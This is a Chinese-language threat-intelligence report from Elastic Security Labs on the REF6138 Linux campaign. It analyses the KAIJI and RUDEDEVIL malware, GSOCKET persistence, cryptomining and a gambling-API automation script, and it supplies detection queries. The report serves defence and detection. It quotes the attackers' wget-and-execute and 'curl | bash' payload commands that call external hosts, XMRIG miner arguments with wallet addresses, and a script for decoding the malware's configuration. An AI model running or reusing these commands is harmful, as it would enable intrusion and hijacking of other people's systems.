Remco SprootenRuben Groenewoud

博弈机器人:调查 Linux 恶意软件、加密货币挖矿和赌博 API 滥用

REF6138 活动涉及加密货币挖矿、DDoS 攻击以及可能通过赌博 API 进行的洗钱活动,突显了攻击者使用不断演变的恶意软件和隐蔽的通信渠道。

阅读需 80 分钟恶意软件分析, 攻击模式
Betting on Bots: Investigating Linux malware, crypto mining, and gambling API abuse

简介

近几个月,Elastic 安全实验室发现了一项针对易受攻击的服务器的复杂 Linux 恶意软件活动。攻击者在 2024 年 3 月通过利用 Apache2 Web 服务器发起了入侵。获得初始访问权限后,威胁行为者部署了一套复杂的入侵工具来建立持久性并扩大对受感染主机的控制。

威胁行为者使用了混合的工具和恶意软件,包括伪装成内核进程的 C2 通道、用于通信的 Telegram 机器人以及用于计划任务执行的 cron 作业。值得注意的是,他们部署了多个恶意软件家族,例如 KAIJI 和 RUDEDEVIL,以及自定义编写的恶意软件。KAIJI 以其 DDoS 功能而闻名,而 RUDEDEVIL 是一种加密货币矿工,它们被用来利用系统资源进行恶意目的。

我们的调查揭示了一个潜在的比特币/XMR 挖矿计划,该计划利用赌博 API,这表明攻击者可能正在使用受感染的主机进行洗钱活动。我们还获得了对一个文件共享的访问权限,该文件共享托管着每日上传的具有先前未见哈希值的新鲜 KAIJI 样本,表明恶意软件作者正在积极开发和调整。

本研究出版物深入探讨了该活动的细节,提供了对攻击者的策略、技术和程序的全面分析。我们探讨了他们如何建立初始访问权限、用于持久性和权限提升的方法,以及每个阶段部署的恶意软件。此外,我们还讨论了命令和控制基础设施,包括使用 GSOCKET 和 Telegram 进行隐蔽通信。

执行流程

初始访问

我们的团队观察到一台主机在 2024 年 3 月初被入侵,方法是在运行 Apache2 的服务器上获得任意代码执行。此入侵的证据在通过 Apache2 进程执行 id 命令中可见,之后我们看到威胁行为者利用 Web 服务器并在 www-data 用户帐户下部署 KAIJI 恶意软件。

在 Kaiji 部署后不久,攻击者使用 www-data 帐户从 URL http://61.160.194[.]160:35130 下载了一个名为 00.sh 的脚本,经过进一步调查,该 URL 还托管了多个版本的 RUDEDEVIL 恶意软件。

00.sh 是一个加载器,它

  • 设置其默认 shell 和 PATH。
  • 删除多个日志文件以清除执行痕迹。
  • 利用 psnetstatlsof 和一个常见的挖矿进程名称列表,以杀死受感染主机上任何潜在的挖矿竞争对手。
  • 刷新主机上的 iptables 规则,设置多个 iptables 规则以阻止连接到特定目标端口和挖矿池,并禁用 iptables
  • 最后,下载并执行第二阶段(sss6/sss68),并清除执行痕迹。

下图显示了加载器的压缩版本。标有 [...] 的行被缩短以增强可读性。

文件服务器

通过后门 Web 服务器进程,攻击者通过以下命令下载并执行恶意软件

sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86

http://107.178.101[.]245:5488 下载 l64l86 文件,之后授予它们所有权限、执行并删除。查看托管这些恶意软件样本的服务器,我们看到以下内容

这似乎是一个文件服务器,托管着多种不同架构的恶意软件。文件服务器利用 Rejetto 技术。这些恶意软件具有上传日期和下载计数器。例如,9 月 10 日上传的 download.sh 文件已经被下载了 3,100 次。

RUDEDEVIL/LUCIFER

经过仔细检查,已下载并执行的文件 sss6 已被确定为 RUDEDEVIL 恶意软件。在执行过程的早期,我们遇到了此恶意软件家族特有的嵌入式消息

Hi, man. I\'ve seen several organizations report my Trojan recently, 
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others. 
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite. 
I don\'t have any accommodation. I don\'t want to do anything illegal. 
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, 
thank yo

我们注意到文件服务器上托管的文件 l64l86 包含相同的恶意软件。在分析恶意软件的执行流程时,我们看到恶意软件的主要功能执行以下几个关键任务

  • 守护进程初始化:该进程使用 daemon(1, 0) 转换为守护进程。
  • 套接字创建:创建套接字并绑定到特定端口。
  • 信号处理:为各种信号设置自定义信号处理程序。
  • 服务初始化:使用 SetFILE 启动多个服务。
  • 权限处理:它检查 root 权限并相应地调整资源限制。
  • 解密:恶意软件会解密其配置 blob。
  • 线程创建:生成多个线程用于执行挖矿、杀死进程以及监视网络和 CPU 使用率等任务。
  • 主循环:该程序进入一个无限循环,在该循环中它会重复连接到服务器并休眠指定的时间。

在检查加密例程时,我们发现它使用基于 XOR 的编码

为了静态解码内容,我们开发了一个基本的 Python 代码片段

def DecryptData(data_block, encryption_key):
   key_modifier = encryption_key & 0xFF
   key_index = key_modifier // 0x5F  # 0x5F = 95 in decimal
   modifier = (key_modifier - (key_index * 0x5F)) + 0x58  # 0x58 = 88 in decimal

   for i in range(len(data_block)):
       data_block[i] ^= modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value
       data_block[i] += modifier
       data_block[i] &= 0xFF  # Ensure 8-bit value

   return data_block

# Encoded data as hex strings
encoded_data = [
   '4c494356515049490c467978',
   '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
   '0f424d4e0f435536575649484b',
   '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]

encryption_key = 0x03FF  # 1023 in decimal

# Process and decrypt each encoded data string
for data in encoded_data:
   # Convert hex string to list of integers
   data_bytes = bytes.fromhex(data)
   data_block = list(data_bytes)

   # Decrypt the data
   decrypted_block = DecryptData(data_block, encryption_key)

   # Convert decrypted data back to bytes
   decrypted_bytes = bytes(decrypted_block)
   print("Decrypted text:", decrypted_bytes.decode('utf-8', errors='ignore'))

解码配置后,将显示以下值

  • 第一个值是 C2 域名 nishabii[.]xyz
  • 第二个值揭示了将传递给 XMRIG 的选项。
  • 第三个值显示了恶意软件使用的临时文件位置。
  • 第四个也是最后一个字符串显示了 XMRIG 二进制文件的下载位置。

恶意软件中的线程管理

恶意软件会启动多个线程来处理其核心操作。让我们详细探讨其中一些函数的工作原理。

理解 KillPid 函数

其中一个线程运行 KillPid 函数,该函数旨在持续监控和管理进程。该函数首先分离其当前线程,使其在后台运行而不会阻塞其他进程。然后它进入一个无限循环,重复执行其任务。

其核心功能是一个名为 sb_name 的数组,其中包含恶意软件想要终止的进程的名称。

每两秒钟,该函数都会检查系统中是否存在此数组中列出的进程,使用名为 getPidByName 的辅助函数检索它们的进程 ID(PID)。在每次迭代之后,它会移动到列表中的下一个进程,确保处理 sb_name 中的所有进程。

有趣的是,在处理完数组中的所有元素后,该函数会进入一个 600 秒(大约 10 分钟)的延长休眠期,然后再恢复其进程检查。这种延长休眠期很可能是为了节省系统资源而实施的,确保恶意软件在监控进程时不会消耗过多的 CPU 时间。

理解 Get_Net_Messages 函数

另一个至关重要的线程负责监控网络流量,特别是关注 eth0 网络接口。此功能由 getOutRates 函数处理。该函数首先设置必要的变量并打开 /proc/net/dev 文件,其中包含每个接口的详细网络统计信息。

如果该文件成功打开,恶意软件会读取一个数据块(最多 1024 字节),并对其进行处理以提取相关的网络统计信息。它专门查找 eth0 接口,使用标准的字符串解析方法解析输出速率数据。如果成功,该函数将返回 eth0 的输出速率;否则,它将返回 0,确保即使发生错误,恶意软件也能继续运行。

此例程允许恶意软件静默地监控受感染机器的网络活动,很可能是为了跟踪在接口上发送或接收的数据。

理解 Get_Cpu_Message 函数

对于 CPU 监控,恶意软件使用 GetCpuRates 函数。此函数通过读取 /proc/stat 中的数据来持续监控 CPU 使用率。与处理网络数据的方式类似,读取并解析 CPU 统计信息,使恶意软件能够计算系统的 CPU 使用率。

该函数在一个无限循环中运行,在每次迭代之间休眠一秒钟,以避免系统过载。如果由于某种原因无法打开文件,该函数会记录错误并优雅退出。但是,只要它能够读取文件,它就会持续监控 CPU 使用率,确保恶意软件始终了解系统性能。

理解 Send_Host_Message 函数

也许最重要的线程是负责将系统信息发送回恶意软件操作员的线程。_SendInfo 函数通过收集有关受感染系统的 CPU 和网络使用情况的数据来执行此任务。它首先设置缓冲区并准备文件路径以收集必要的数据。根据系统的状态,它将 CPU 和网络使用率格式化为一个字符串。

此外,该函数还会检查系统上是否正在运行特定进程,并相应地调整其格式化的消息。最后,它通过套接字连接将此格式化的数据发送回命令和控制服务器。

本质上,此函数允许恶意软件远程监控受感染的机器,收集诸如 CPU 负载和网络活动之类的关键详细信息。操作员可以使用此信息来评估其感染状态,并根据需要调整其活动。

连接到命令和控制(C2)服务器

一旦所有线程启动并运行,恶意软件就会将重点转移到建立与其 C2 服务器的连接。这由主线程中的 ConnectServer 函数管理,该函数处理与服务器的通信并远程执行命令。

理解 ConnectServer 函数

ConnectServer 函数执行的第一个任务是使用 ServerConnectCli 建立与 C2 服务器的连接。成功连接后,恶意软件会配置套接字以启用保持活动设置,确保连接在长时间内保持稳定。

建立连接后,恶意软件会收集各种系统信息,包括主机名、用户信息、CPU 规格和内存详细信息。然后将此信息作为初始数据有效负载发送到服务器,为攻击者提供受感染机器的详细视图。

在此初始设置之后,恶意软件进入一个持续循环,在该循环中,它等待并处理来自服务器的命令。处理的命令类型各不相同,可以包括诸如发起 DDoS 攻击、停止或启动 CPU 密集型操作、执行系统命令或管理加密货币挖矿活动之类的任务。该循环无限期地继续,确保恶意软件随时可以执行其操作员发送的任何命令。

当不再需要连接,或者恶意软件收到终止命令时,它会优雅地关闭套接字,从而结束与服务器的会话。

命令和控制(C2)命令

ConnectServer 函数处理来自 C2 服务器的各种命令,每个命令都旨在控制受感染系统的不同方面。以下是恶意软件处理的命令的细分

  • Case 4: 恶意软件调用 DealwithDDoS 函数,很可能会发起分布式拒绝服务(DDoS)攻击。
  • Case 5:StopFlag 设置为 1,这可能表示恶意软件停止特定任务。
  • Case 6: 使用 http_get 从服务器下载文件,更改其权限,然后执行它。此命令允许攻击者在受感染的机器上运行其他恶意软件或脚本。
  • Case 7: 使用 system 函数执行系统命令,为攻击者提供对系统命令行的直接控制。
  • Case 8:StopCpu 设置为 0,重新启动任何先前停止的 CPU 任务。
  • Case 9:StopCpu 设置为 1,停止所有 CPU 任务。
  • Case 0xA: 使用新数据更新 CPU 挖矿配置并检索当前进程的 PID,允许恶意软件修改其加密货币挖矿操作。
  • Case 0xB:stopxmr 设置为 1,从而有效地停止 XMRIG 矿工。
  • Case 0xC:stopxmr 重置为 0 并检索当前进程 PID,从而恢复挖矿活动。

每个命令都使恶意软件操作员能够精确控制受感染机器的行为方式,无论是参与 DDoS 攻击、运行新的恶意软件还是管理挖矿操作。

RUDEDEVIL 恶意软件的变体和 XMRIG 配置

在之前提到的文件服务器处于活动状态时,我们观察到正在上传多个版本的 RUDEDEVIL 恶意软件。这些版本的核心功能基本保持不变,唯一的显著变化是用于加密货币挖矿的嵌入式 XMRIG 命令。

每个版本的恶意软件都配置为连接到相同的挖矿池 c3pool.org,但传递给 XMRIG 矿工的参数略有不同

  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R
  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2
  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php
  • -o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0

这些命令中的每一个都指示矿工连接到相同的挖矿池,但指定了不同的钱包或配置。通过检查 c3pool 应用程序,我们确认与这些命令关联的两个 XMR 地址当前都在活动并进行挖矿。

此外,通过此分析,我们能够估算这两个挖矿活动产生的总利润,突显了 RUDEDEVIL 恶意软件的财务影响及其与非法加密货币挖矿活动的联系。

GSOCKET

为了建立持久性,威胁行为者下载并安装了 GSOCKET,这是一种网络实用程序,旨在实现防火墙或 NAT 后面的机器之间的加密通信。GSOCKET 通过全球套接字中继网络(GSRN)创建安全的持久连接。这个开源工具包括 AES-256 加密、对端到端通信安全的支持以及与 SSH、netcat 和 TOR 的兼容性等功能,这些功能允许加密文件传输、远程命令执行,甚至创建隐藏服务。

虽然 GSOCKET 本身并非恶意软件,但其功能可被用于可疑目的。

一旦部署,GSOCKET 会执行多个操作来维持持久性并隐藏其存在。首先,它会检查系统中的活动内核进程,以决定它将伪装成哪个进程。

然后,它会创建 /dev/shm/.gs-1000 目录,用于下载并将其二进制文件存储在共享内存中。此外,默认情况下,它会在 /home/user/.config/htop/ 下设置一个 /htop 目录,用于存储 GSOCKET 二进制文件及其操作中使用的密钥。

接下来,会设置一个 cron 作业,每分钟使用密钥运行 GSOCKET 二进制文件。

该二进制文件使用 exec -a [进程名称] 命令,以内核进程的名称执行,进一步增强了逃避检测的能力。该 cron 作业包含一个 base64 编码的命令,解码后,该命令可确保持久性机制定期执行并伪装成合法的内核进程。

在解码 payload 时,我们可以看到 defunct.dat 密钥如何作为参数来执行 defunct 二进制文件,该二进制文件通过使用 exec -a 命令伪装成 [raid5wq]

除了使用 cron 作业之外,GSOCKET 还能够通过 shell 配置文件修改、运行控制 (rc.local) 和 Systemd 来建立持久性。GSOCKET 会枚举潜在的持久性位置。

GSOCKET 支持多个 Webhook,例如 Telegram 或 Discord 集成,从而实现远程控制和通知。

最后,在安装后,GSOCKET 会确保所有创建或修改的文件都经过时间戳篡改,以试图消除任何安装痕迹。

这些功能使 GSOCKET 成为威胁行为者寻求隐蔽和持久性的有吸引力的工具。在此次攻击活动中,GSOCKET 被利用来建立返回 C2 服务器的秘密通道,同时试图逃避检测。

此外,一个 PHP payload 从外部 IP 获取并保存为 404.php,很可能是作为未来访问的后门。我们未能获得此 payload。

入侵后的潜伏时间

在经历了三周的平静期,没有明显的活动后,威胁行为者通过利用内置的 Python3 重新开始行动,建立与新的命令和控制服务器的反向连接。

在重新获得对主机的访问权限后,部署了新版本的 KAIJI 恶意软件。

KAIJI 恶意软件:与先前样本的比较

在调查发现的文件服务器上的文件时,我们看到一个 shell 脚本。此 shell 脚本似乎是早期阶段用于下载的主要文件,以确保使用受害者的正确架构。

在其他报告中也发现了相同的 Shell 脚本,其中该脚本用于部署 KAIJI。

作为我们调查的一部分,我们分析了在文件服务器上找到的 KAIJI 恶意软件样本,并将它们与 Black Lotus Labs 在 2022 年识别的样本进行了比较。他们对 Chaos (KAIJI) 的详细分析可以在他们的博客文章此处找到。

使用二进制比较工具 BinDiff,我们比较了二进制文件中的函数。分析表明,我们样本中的代码与 2022 年先前识别的 KAIJI 样本中的代码相同。

虽然代码相同,但一个关键的区别显而易见:C2 服务器地址。虽然两个二进制文件的功能保持一致,但它们指向不同的 C2 域名。

深入研究反汇编,我们识别出一个名为 main_Link 的函数。此函数负责解码恶意软件使用的 C2 服务器地址。

解码后,该函数在地址中搜索 |(odk)/*- 后缀并将其删除,仅保留 C2 域名和端口。此过程确保恶意软件可以与其 C2 服务器通信,尽管它联系的地址可能在不同的样本之间发生变化。

鉴于已发布了一些静态逆向工程 KAIJI 的资源,我们将改为更详细地了解其行为。

执行后,KAIJI 会在 /etc//dev/ 目录中创建多个文件,/etc/id.services.conf/etc/32678/dev/.img/dev/.old。这些脚本是建立持久性的位置。

设置了两个服务,/etc/init.d/linux_killcrond.servicecrond.service 由 Systemd 执行,而 linux_kill 用于 SysVinit 持久性。

重新加载 Systemd 守护程序后,会尝试第一次与 C2 建立网络连接。

接下来,创建 Systemd Late generator 服务文件。有关 Systemd 的工作原理以及通过此方法建立持久性的不同方式的更多信息,可以在我们最近的博客系列中找到,该系列名为 Linux 检测工程 - 持久性机制入门

KAIJI 创建 /boot/System.img.config 文件,这是一个可执行文件,通过先前部署的 Systemd 服务执行。此二进制文件与其他二进制文件一起,是建立持久性的另一种方式。

接下来,KAIJI 会调整 SELinux 策略以允许未经授权的操作。它会在审核日志中搜索与 System.img.conf 相关的被拒绝的操作,生成一个新的 SELinux 策略以允许这些操作,并以较高的优先级安装该策略。通过这样做,恶意软件绕过了通常会阻止其活动的安全限制。

此外,它还会通过 bash 配置文件建立多种其他形式的持久性,并创建另外两个恶意工件:/usr/lib/libd1rpcld.so/.img

紧接着,通过 echo 命令更改 /etc/crontab,确保 /.img 文件按设定的计划由 root 执行。

KAIJI 继续将多个默认系统二进制文件移动到不寻常的位置,试图在此过程中逃避检测。

KAIJI 使用 renice 命令授予 PID 2957(KAIJI 植入的可执行文件之一)最高的优先级(在 -20 到 19 的范围内,最低的为最高优先级),确保它获得比其他进程更多的 CPU 资源。

为了逃避检测,KAIJI 采用了绑定挂载技术,这是一种防御逃避方法,它通过操纵系统中目录的挂载和查看方式来掩盖恶意活动。

最后,我们看到 cron 执行 /.img 的痕迹,该文件早些时候被植入到 /etc/crontab 文件中。

故事仍在继续

两周后,Apache 后门再次激活。通过 Apache2 进程,使用以下命令,通过 www-data 用户下载了另一个后门

sh -c wget http://91.92.241[.]103:8002/gk.php

此有效载荷的内容仍然未知。在此阶段,我们观察到尝试手动提权的活动,攻击者部署了 pspy64Pspy 是一个命令行工具,用于在 Linux 系统上进行进程侦听,而无需 root 权限。它监控正在运行的进程,包括由其他用户启动的进程,并捕获诸如 cron 作业执行之类的事件。此工具对于分析系统活动、发现提权尝试以及审计由进程实时触发的命令和文件系统交互非常有用。攻击者通常在入侵后的场景中利用它进行侦察,使他们能够了解系统任务和潜在的漏洞。

值得注意的是,pspy64 是由 [rcu_preempt] 父进程执行的,这表明威胁行为者已从利用 Web 服务器后门过渡到使用 GSOCKET 后门。

进一步的提权尝试涉及利用 CVE-2021-4034,也称为 pwnkit。此漏洞影响 Linux 系统中 PolicyKit 包的 pkexec 组件,允许非特权用户使用 root 权限执行任意代码。通过利用此缺陷,攻击者可以获得对系统的提升访问权限,从而可能导致对受影响机器的完全控制。

自定义构建的二进制文件

之后,攻击者尝试从以下位置下载名为 apache2apache2v86 的自定义构建恶意软件

  • http://62.72.22[.]91/apache2
  • http://62.72.22[.]91/apache2v86

我们获得了这些文件的副本,它们目前在 VirusTotal 上有零检出。但是,当动态执行它们时,我们观察到段错误,并且我们的遥测数据证实了受感染主机上的段错误活动。在一周多的时间里,威胁行为者尝试更改、上传和执行这些二进制文件超过 15 次,但由于重复的段错误,他们不太可能成功运行此自定义恶意软件。

虽然二进制文件未能执行,但它们在逆向工程过程中仍然提供了有价值的见解。我们在样本中发现了几个 XOR 编码的字符串。

用于编码字符串的 XOR 密钥被确定为 0x79(或字符 y)。解码字符串后,我们发现了恶意软件尝试构建的 HTTP 请求头片段

/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.

这表明恶意软件正在构建 HTTP 请求。但是,根据标头的不完整性以及执行中的重复失败,很明显该软件尚未完全开发或投入运行。

其他侦察

攻击者继续使用 The Hacker’s Choice 的工具,通过下载和执行 whatserver.sh

此 Shell 脚本旨在收集和显示服务器信息。它从 SSL 证书、Nginx 和 Apache 配置文件中提取诸如完全限定域名 (FQDN) 之类的详细信息,以及系统资源信息,例如 CPU 和内存使用率、虚拟化详细信息以及网络设置。该脚本还可以总结最近的活动,包括上次登录用户和当前正在侦听的服务。

挖矿活动

在进行了近两周的手动利用尝试后,威胁行为者停止了提权的努力,可能未能获得 root 访问权限。相反,他们以 www-data 用户的身份建立了持久性,利用 GSOCKET 设置了一个 SSL 连接,该连接伪装成一个名为 [mm_percpu_wq] 的内核进程。

解码 base64 内容后,我们得到了一个非常熟悉的输出

通过我们的行为规则,我们看到威胁行为者列出当前用户的 crontab 条目,并将有效载荷直接回显到 crontab 中。

此命令尝试每分钟下载 http://gcp.pagaelrescate[.]com:8080/ifindyou,并通过管道传输到 bash。查看 ifindyou 的内容,我们看到以下 Bash 脚本

此脚本收集主机名和 IP 信息,从 http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC 下载 SystemdXC 存档(XMRIG),将其存储在 /tmp/SystemdXC 中,解压缩存档并使用必要的参数执行它以开始挖比特币。

在检查挖矿命令时,我们可以看到恶意软件如何配置 XMRIG

此命令连接到 unmineable.com 矿池,在挖矿过程中使用受感染机器的主机名作为标识符。在撰写本文时,有 15 个活跃的工作人员为钱包地址 1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz 挖掘比特币。

在进一步调查比特币地址后,我们发现该地址执行了一笔交易。

有趣的是,此交易的输出地址指向一个与 Binance 关联的知名 热钱包,这表明攻击者可能已将其挖矿收益转移到交易所平台。

当我们将注意力回到脚本时,我们还看到了两个注释掉的命令,这些命令稍后会变得更加清晰。该脚本执行

curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash

查看此有效载荷,我们可以看到以下内容

此阶段检查命令的输出,并将其发送到 Telegram 聊天机器人。通过我们的 Telegram 行为规则,我们可以看到 Telegram POST 请求如下所示

在此阶段设置的 cron 作业在每 4 小时的第 0 分钟执行。此作业执行

curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3

下载的 Python 脚本通过 HTTP 请求自动与在线赌博游戏交互。该脚本包括处理用户身份验证、下注、处理结果以及将数据发送到远程服务器的函数。

在仔细检查后,我们确定了脚本的以下关键组件

全局变量

  • usuario:存储用于管理会话的用户 ID。
  • apuesta:表示下注金额。
  • ganancias:跟踪输赢。
  • saldo_actual:保存当前帐户余额。

了解 obteneruid 函数

此函数通过向远程服务器发送带有必要标头和 JSON 数据的 POST 请求来验证用户身份。如果尚未设置用户,它将初始化一个新会话并检索帐户余额。成功身份验证后,它将返回一个会话 UUID,该 UUID 用于游戏中进一步的交互。

了解 enviardatos 函数

此函数将游戏数据或状态更新发送回 gcp.pagaelrescate[.]com,记录游戏期间的结果或采取的操作。它使用简单的 GET 请求将此数据传输到远程服务器。

了解 hacerjugada 函数

hacerjugada 函数模拟设定轮数的下注过程。它发送 POST 请求以进行下注,在每轮之后更新输赢,并计算总体结果。如果触发了奖励轮,它将调用 completarbono() 来处理任何奖励游戏详细信息。在每个下注轮之间,该函数强制执行 30 秒的延迟,以模拟自然游戏玩法并避免被检测到。

了解 completarbono 函数

当触发奖励轮时,此函数通过发送包含会话 ID 和轮次 ID 的请求来完成该轮次。根据结果,它会更新帐户余额并记录输赢。余额的任何更改都会使用 enviardatos() 函数发送回远程服务器。

可能用于测试目的

重要的是要注意,此脚本可能正在用于测试目的,因为它与赌博应用程序的演示版本交互。这表明攻击者可能正在测试赌博操作的自动化,或者试图在转向真实版本之前查找应用程序中的漏洞。使用演示环境意味着他们正在改进他们的方法,可能是在准备更复杂或更广泛的攻击。

通过 MITRE ATT&CK 的 REF6138

Elastic 使用 MITRE ATT&CK 框架来记录高级持续性威胁针对企业网络使用的常见策略、技术和程序。在本次调查中,我们确定了以下策略、技术和子技术

使用的 MITRE ATT&CK 策略、技术和子技术

策略技术子技术
资源开发T1587:开发能力恶意软件
T1588:获取能力工具
T1608:暂存能力上传恶意软件
上传工具
初始访问T1190:利用面向公众的应用程序
执行T1059:命令和脚本解释器Unix Shell
Python
T1053:计划任务/作业Cron
持久性T1546:事件触发执行Unix Shell 配置修改
T1053:计划任务/作业Cron
T1505:服务器软件组件Web Shell
权限提升T1068:利用漏洞进行权限提升
防御规避T1140:解密/解码文件或信息
T1222:文件和目录权限修改Linux和Mac文件和目录权限修改
T1564:隐藏工件隐藏文件和目录
T1070:指示器删除时间戳修改(Timestomp)
T1036:伪装伪装任务或服务
T1027:混淆的文件或信息软件打包
剥离的有效负载
命令混淆
加密/编码的文件
发现T1057:进程发现
T1082:系统信息发现
T1061:系统网络配置发现
T1049:系统网络连接发现
T1007:系统服务发现
收集T1119:自动化收集
T1005:来自本地系统的数据
命令与控制T1071:应用层协议Web协议
T1132:数据编码标准编码
T1001:数据混淆
T1573:加密通道对称加密
T1105:入口工具传输
T1571:非标准端口
T1572:协议隧道
T1102:Web服务
影响T1496:资源劫持

检测 REF6138

Elastic Security 实施多层方法进行威胁检测,利用行为 SIEM 和端点规则、YARA 签名以及基于 ML 的异常检测方法。本节描述了 Elastic Security 构建的在捕获已识别威胁中发挥重要作用的检测。

检测

在对此入侵集进行分析时观察到以下检测规则

预防

在分析此入侵集时观察到以下行为预防事件

以下 YARA 签名用于检测 KAIJI 和 RUDEDEVIL 恶意软件样本的文件和内存中

在分析此入侵集时观察到以下即将发布的端点规则警报

  • 通过 Web 服务器的潜在 Shell
  • 潜在的 Web 服务器代码注入
  • 由 Web 服务器用户执行的潜在 Shell
  • 通过 Web 服务器的解码活动
  • Linux Telegram API 请求
  • 可疑的 Echo 执行

在 Elastic 中进行 Hunting 查询

KQL 和 EQL 的事件均通过使用 Elastic Defend 集成的 Elastic Agent 提供。Hunting 查询可能会返回高信号或误报。这些查询用于识别潜在的可疑行为,但需要进行调查以验证结果。

EQL 查询

在 Kibana 中安全解决方案的“时间线”部分下的“关联”选项卡中,您可以使用以下 EQL 查询来搜索类似行为

潜在的 XMRIG 执行

以下 EQL 查询可用于在您的环境中搜索 XMRIG 执行。

process where event.type == "start" and event.action == "exec" and (
  (
    process.args in ("-a", "--algo") and process.args in (
      "gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq",
      "rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico",
      "cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1",
      "cn-lite/0", "cn/0"
    )
  ) or
  (
    process.args == "--coin" and process.args in ("monero", "arqma", "dero")
  )
) and process.args in ("-o", "--url")

启用 MSR 写入访问

XMRIG 利用 modprobe 启用对 MSR 的写入访问。此活动是不正常的,默认情况下不应发生。

process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"

潜在的 GSOCKET 活动

通过推荐的部署方法部署 GSOCKET 时,此活动是默认行为。此外,查询中添加了几个参数,以减少错过通过 GSOCKET 进行的更多自定义入侵的机会。

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.command_line : (
"*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*", "*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*", "*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*"
)

通过 Exec 的潜在进程伪装

GSOCKET 利用 exec -a 方法以不同的名称运行进程。GSOCKET 特别利用伪装成内核进程,但其他恶意软件可能会以不同的方式伪装。

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "* exec -a *"

Renice 或 Ulimit 执行

包括 KAIJI 和 RUDEDEVIL 在内的几种恶意软件利用 renice 实用程序来更改进程的优先级或设置进程的资源限制。这通常由矿工恶意软件使用,以提高挖矿进程的优先级,从而最大限度地提高挖矿性能。

process where event.type == "start" and event.action == "exec" and (
  process.name in ("ulimit", "renice") or (
  process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
  process.command_line : ("*ulimit*", "*renice*")
  )
)

启动了不存在的 Cron(d) 服务

KAIJI 和 RUDEDEVIL 都通过在 /etc/init.d/cron(d) 中创建 cron(d) 服务来建立持久性。Cron 默认情况下不使用 SysV Init 服务。cron(d) 服务的执行是可疑的,应进一步分析。

process where event.type == "start" and event.action == "exec" and 
  process.name == "systemctl" and process.args == "start" and process.args in 
  ("cron.service", "crond.service", "cron", "crond")

来自 KAIJI 的可疑 /etc/ 进程执行

/etc/ 目录不是进程执行的常用目录。已知 KAIJI 会将名为 32678id.services.conf 的二进制文件放置在 /etc/ 目录中,以建立持久性并规避检测。

process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or process.executable : ("/etc/*.conf", "/etc/.*"))

在 /dev/ 目录中创建隐藏文件

/dev//dev/shm/ 中创建隐藏文件本身不是恶意的,但是,此活动应该是不常见的。已知 KAIJI、GSOCKET 和其他恶意软件(如 K4SPREADER)会在这些位置删除隐藏文件。

file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*")

来自 /boot/ 中父可执行文件的可疑进程执行

已知诸如 KAIJI 和 XORDDOS 之类的恶意软件会将可执行文件放置在 /boot/ 目录中,并利用这些文件建立持久性,同时尝试规避检测。

